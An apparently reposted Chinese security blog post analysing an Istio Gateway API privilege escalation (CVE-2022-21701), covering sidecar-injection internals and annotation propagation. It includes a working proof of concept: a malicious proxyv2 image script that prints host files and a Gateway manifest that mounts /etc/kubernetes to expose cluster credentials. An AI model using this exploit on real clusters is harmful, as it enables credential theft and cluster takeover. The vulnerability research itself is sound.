vlambda博客
学习文章列表

利用gateway-api,我支配了kubernetes | 高级攻防05


利用gateway-api,我支配了kubernetes | 高级攻防05
本文约7000字,阅读约需12分钟。

前几天注意到了Istio官方公告,有一个利用kubernetes gateway api仅有CREATE权限来完成特权提升的漏洞(CVE-2022-21701)。


看公告,Diff patch也没看出什么名堂来。跟着自己感觉,猜测了一下利用方法。

实际跟下来,发现涉及到了sidecar注入原理及depolyments传递注解的特性,个人觉得还是比较有趣,所以记录一下。

不过有个插曲,复现后,发现这条利用链可以在已经修复的版本上利用,于是和Istio security团队进行了友好的沟通,最终发现小丑竟是我自己——自己构思的利用只是官方文档一笔带过的一个feature。

所以通篇权当一个controller的攻击面,还有一些好玩的特性科普文看就好。

1

Istio sidecar injection

Istio可以通过用namespace打label的方法,自动给对应的namespace中运行的pod注入sidecar容器。而另一种方法则是在pod的annotations中,手动地增加sidecar.istio.io/inject: "true"注解。

当然还可以借助istioctl kube-inject,对yaml手动进行注入。前两个功能都要归功于kubernetes动态准入控制的设计,它允许用户在不同的阶段,对提交上来的资源进行修改和审查。

动态准入控制流程:

利用gateway-api,我支配了kubernetes | 高级攻防05

Istiod创建了MutatingWebhook,并且一般对namespace label为istio-injection: enabled及sidecar.istio.io/inject != flase的pod资源创建请求做Mutaing webhook。

apiVersion: admissionregistration.k8s.io/v1kind: MutatingWebhookConfigurationmetadata: name: istio-sidecar-injectorwebhooks:[...] namespaceSelector: matchExpressions: - key: istio-injection operator: In values: - enabled objectSelector: matchExpressions: - key: sidecar.istio.io/inject operator: NotIn values: - "false"[...] rules: - apiGroups: - "" apiVersions: - v1 operations: - CREATE resources: - pods scope: '*' sideEffects: None timeoutSeconds: 10

当我们提交一个创建符合规定的pod资源的操作时,Istiod webhook将会收到来自k8s动态准入控制器的请求,请求包含了AdmissionReview的资源。Istiod会对其中的pod资源的注解进行解析,在注入sidecar之前,会使用 :

injectRequired (pkg/kube/inject/inject.go:169)

这个函数对pod是否符合非hostNetwork、是否在默认忽略的namespace列表中、是否在annotation/label中带有sidecar.istio.io/inject注解进行判断。

如果sidecar.istio.io/inject为true,则注入sidecar。另外一提,namepsace label也能注入,是因为InjectionPolicy默认为Enabled:

利用gateway-api,我支配了kubernetes | 高级攻防05

了解完上面的条件后,接着分析注入sidecar具体操作的代码。具体实现位于:

RunTemplate (pkg/kube/inject/inject.go:283)

前面的一些操作是合并config、做一些检查确保注解的规范及精简pod struct,注意力放到位于templatePod后的代码。

利用selectTemplates函数,提取出需要渲染的templateNames,再经过parseTemplate进行渲染,详细的函数代码请看下方:

利用gateway-api,我支配了kubernetes | 高级攻防05

获取注解inject.istio.io/templates中的值作为templateName,params.pod.Annotations数据类型是map[string]string ,一般常见值为sidecar或者gateway。

func selectTemplates(params InjectionParameters) []string { // annotation.InjectTemplates.Name = inject.istio.io/templates if a, f := params.pod.Annotations[annotation.InjectTemplates.Name]; f { names := []string{} for _, tmplName := range strings.Split(a, ",") { name := strings.TrimSpace(tmplName) names = append(names, name) } return resolveAliases(params, names) } return resolveAliases(params, params.defaultTemplate)}

使用go template模块来完成yaml文件的渲染:


func parseTemplate(tmplStr string, funcMap map[string]interface{}, data SidecarTemplateData) (bytes.Buffer, error) { var tmpl bytes.Buffer temp := template.New("inject") t, err := temp.Funcs(sprig.TxtFuncMap()).Funcs(funcMap).Parse(tmplStr) if err != nil { log.Infof("Failed to parse template: %v %v\n", err, tmplStr) return bytes.Buffer{}, err } if err := t.Execute(&tmpl, &data); err != nil { log.Infof("Invalid template: %v %v\n", err, tmplStr) return bytes.Buffer{}, err }

return tmpl, nil}

那么这个tmplStr到底来自何方呢?实际上,Istio在初始化时将其存储在configmap中,我们可以通过运行:

kubectl describe cm -n istio-system istio-sidecar-injector

来获取模版文件。sidecar的模版有一些点非常值得注意,很多敏感值都是取自annotation:

利用gateway-api,我支配了kubernetes | 高级攻防05
利用gateway-api,我支配了kubernetes | 高级攻防05

有经验的研究者看到下面userVolume就可以猜到,大概通过什么操作来完成攻击了。

sidecar.istio.io/proxyImagesidecar.istio.io/userVolumesidecar.istio.io/userVolumeMount

2

注解传递

分析官方公告里的缓解建议,其中有一条就是将:

PILOT_ENABLE_GATEWAY_API_DEPLOYMENT_CONTROLLER 

环境变量置为false ,然后结合另一条建议,对下面的crd做删除处理:

gateways.gateway.networking.k8s.io

所以大概率上,漏洞和创建gateways资源有关。翻了翻官方手册,注意到了这句话如下图所示:gateway资源的注解将会传递到Service及Deployment资源上。

利用gateway-api,我支配了kubernetes | 高级攻防05

有了传递这个细节,我们就能对得上漏洞利用的条件了。需要具备:

gateways.gateway.networking.k8s.io

这个资源 的CREATE权限。

接着我们来分析一下,gateway是如何传递annotations和labels的。

其实大概也能想到,还是利用go template对内置的template进行渲染,直接分析configureIstioGateway函数:

pilot/pkg/config/kube/gateway/deploymentcontroller.go

其主要功能就是把gateway需要创建的Service及Deployment,按照embed.FS中的模版进行一个渲染。模版文件可以在下面找到:

pilot/pkg/config/kube/gateway/templates/deployment.yaml

分析模版文件。也可以看到template中的annotations也是从上层的获取传递过来的注解。toYamlMap可以将maps进行合并,注意观察:

strdict "inject.istio.io/templates" "gateway"

位于.Annotations前,所以这个点,我们可以通过控制gateway的注解来覆盖templates值,选择渲染的模版。

apiVersion: apps/v1kind: Deploymentmetadata: annotations: {{ toYamlMap .Annotations | nindent 4 }} labels: {{ toYamlMap .Labels (strdict "gateway.istio.io/managed" "istio.io-gateway-controller") | nindent 4}} name: {{.Name}} namespace: {{.Namespace}} ownerReferences: - apiVersion: gateway.networking.k8s.io/v1alpha2 kind: Gateway name: {{.Name}} uid: {{.UID}}spec: selector: matchLabels: istio.io/gateway-name: {{.Name}} template: metadata: annotations: {{ toYamlMap (strdict "inject.istio.io/templates" "gateway") .Annotations | nindent 8}} labels: {{ toYamlMap (strdict "sidecar.istio.io/inject" "true") (strdict "istio.io/gateway-name" .Name) .Labels | nindent 8}}

3

漏洞利用

掌握了漏洞利用链路上的细节,我们就可以理出整个思路。创建精心构造过注解的gateway资源及恶意的proxyv2镜像,“迷惑”控制器创建非预期的pod,完成对Host主机上的敏感文件进行访问,如docker unix socket。

漏洞环境:

istio v1.12.2kubernetes v1.20.14kubernetes gateway-api v0.4.0

用下面的命令创建一个write-only的角色,并初始化 Istio:

curl -L https://istio.io/downloadIstio | ISTIO_VERSION=1.12.2 TARGET_ARCH=x86_64 sh -istioctl x precheckistioctl install --set profile=demo -ykubectl create namespace istio-ingresskubectl create -f - << EOFapiVersion: rbac.authorization.k8s.io/v1kind: ClusterRolemetadata: name: gateways-only-createrules:- apiGroups: ["gateway.networking.k8s.io"] resources: ["gateways"] verbs: ["create"]---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata: name: test-gateways-only-createsubjects:- kind: User name: test apiGroup: rbac.authorization.k8s.ioroleRef: kind: ClusterRole name: gateways-only-create apiGroup: rbac.authorization.k8s.ioEOF

在利用漏洞之前,我们需要先制作一个恶意的docker镜像。我这里直接选择了proxyv2镜像作为目标镜像,替换其中的/usr/local/bin/pilot-agent为bash脚本,再tag一下,Push到本地的registry或者docker.io都可以。

docker run -it --entrypoint /bin/sh istio/proxyv2:1.12.1cp /usr/local/bin/pilot-agent /usr/local/bin/pilot-agent-origcat << EOF > /usr/local/bin/pilot-agent#!/bin/bash
echo $1if [ $1 != "istio-iptables" ]then touch /tmp/test/pwned ls -lha /tmp/test/* cat /tmp/test/*fi

/usr/local/bin/pilot-agent-orig $*EOFchmod +x /usr/local/bin/pilot-agentexitdocker tag 0e87xxxxcc5c xxxx/proxyv2:malicious

Commit之前,记得把image的entrypoint改为/usr/local/bin/pilot-agent, 接着利用下列的命令完成攻击,注意我覆盖了注解中的:

inject.istio.io/templates

这是为了sidecar使能让k8s controller在创建pod任务的时候,让其注解中的:

inject.istio.io/templates

也为sidecar,这样Istiod的inject webhook就会按照sidecar的模版进行渲染pod资源文件。

sidecar.istio.io/userVolume和sidecar.istio.io/userVolumeMount,我这里挂载了/etc/kubernetes目录,为了和上面的恶意镜像相辅相成。

POC的效果就是直接打印出Host中/etc/kubernetes目录下的凭证及配置文件,利用kubelet的凭证或者admin token就可以提权完成,接管整个集群。当然你也可以挂载docker.sock可以做到更完整的利用。

kubectl --as test create -f - << EOFapiVersion: gateway.networking.k8s.io/v1alpha2kind: Gatewaymetadata: name: gateway namespace: istio-ingress annotations: inject.istio.io/templates: sidecar sidecar.istio.io/proxyImage: docker.io/shtesla/proxyv2:malicious sidecar.istio.io/userVolume: '[{"name":"kubernetes-dir","hostPath": {"path":"/etc/kubernetes","type":"Directory"}}]' sidecar.istio.io/userVolumeMount: '[{"mountPath":"/tmp/test","name":"kubernetes-dir"}]'spec: gatewayClassName: istio listeners: - name: default hostname: "*.example.com" port: 80 protocol: HTTP allowedRoutes: namespaces: from: AllEOF

创建完gateway后,Istiod inject webhook也按照我们的要求创建了pod。

利用gateway-api,我支配了kubernetes | 高级攻防05
利用gateway-api,我支配了kubernetes | 高级攻防05

Deployments最终被渲染如下:

apiVersion: apps/v1kind: Deploymentmetadata: annotations: deployment.kubernetes.io/revision: "1" inject.istio.io/templates: sidecar [...] sidecar.istio.io/proxyImage: docker.io/shtesla/proxyv2:malicious sidecar.istio.io/userVolume: '[{"name":"kubernetes-dir","hostPath": {"path":"/etc/kubernetes","type":"Directory"}}]' sidecar.istio.io/userVolumeMount: '[{"mountPath":"/tmp/test","name":"kubernetes-dir"}]' generation: 1 labels: gateway.istio.io/managed: istio.io-gateway-controller name: gateway namespace: istio-ingressspec: progressDeadlineSeconds: 600 replicas: 1 revisionHistoryLimit: 10 selector: matchLabels: istio.io/gateway-name: gateway strategy: rollingUpdate: maxSurge: 25% maxUnavailable: 25% type: RollingUpdate template: metadata: annotations: inject.istio.io/templates: sidecar [...] sidecar.istio.io/proxyImage: docker.io/shtesla/proxyv2:malicious sidecar.istio.io/userVolume: '[{"name":"kubernetes-dir","hostPath": {"path":"/etc/kubernetes","type":"Directory"}}]' sidecar.istio.io/userVolumeMount: '[{"mountPath":"/tmp/test","name":"kubernetes-dir"}]' creationTimestamp: null labels: istio.io/gateway-name: gateway sidecar.istio.io/inject: "true" spec: containers: - image: auto imagePullPolicy: Always name: istio-proxy ports: - containerPort: 15021 name: status-port protocol: TCP readinessProbe: failureThreshold: 10 httpGet: path: /healthz/ready port: 15021 scheme: HTTP periodSeconds: 2 successThreshold: 1 timeoutSeconds: 2 resources: {} securityContext: allowPrivilegeEscalation: true capabilities: add: - NET_BIND_SERVICE drop: - ALL readOnlyRootFilesystem: true runAsGroup: 1337 runAsNonRoot: false runAsUser: 0 terminationMessagePath: /dev/termination-log terminationMessagePolicy: File dnsPolicy: ClusterFirst restartPolicy: Always schedulerName: default-scheduler securityContext: {} terminationGracePeriodSeconds: 30

成功在/tmp/test目录下挂载kubernetes目录,可以看到apiserver的凭据。


4

总结

虽然John Howard与我友好沟通时,反复询问我这和用户直接创建pod有何区别?但我觉得,整个利用过程,也不失为一种新的特权提升的方法。

随着kubernetes各种新的api从SIG孵化出来,以及更多新的云原生组件加入进来,在上下文传递的过程中,难免会出现这种曲线救国,权限溢出的漏洞。

我觉得,各种云原生的组件controller,也可以作为重点的审计对象。

实战中,要说完全能复现这个漏洞的利用过程,可能不太现实。但希望此文可以为各位师傅提供相关场景的参考。在infra中,k8s声明式的api配合海量组件watch资源的变化引入了无限的可能,或许实战中,限定资源的读或者写,就可以转化成特权提升漏洞。

5

参考链接

https://gateway-api.sigs.k8s.io/https://istio.io/latest/docs/reference/config/annotations/https://istio.io/latest/news/security/istio-security-2022-002/https://istio.io/latest/docs/tasks/traffic-management/ingress/gateway-api/


- END -


往期推荐

Fake dnSpy - 这鸡汤里下了毒!

ADCS攻击面挖掘与利用

安全认证相关漏洞挖掘

长按下方图片即可关注

点击下方阅读原文,加入社群,读者作者无障碍交流
读完有话想说?点击留言按钮,让上万读者听到你的声音!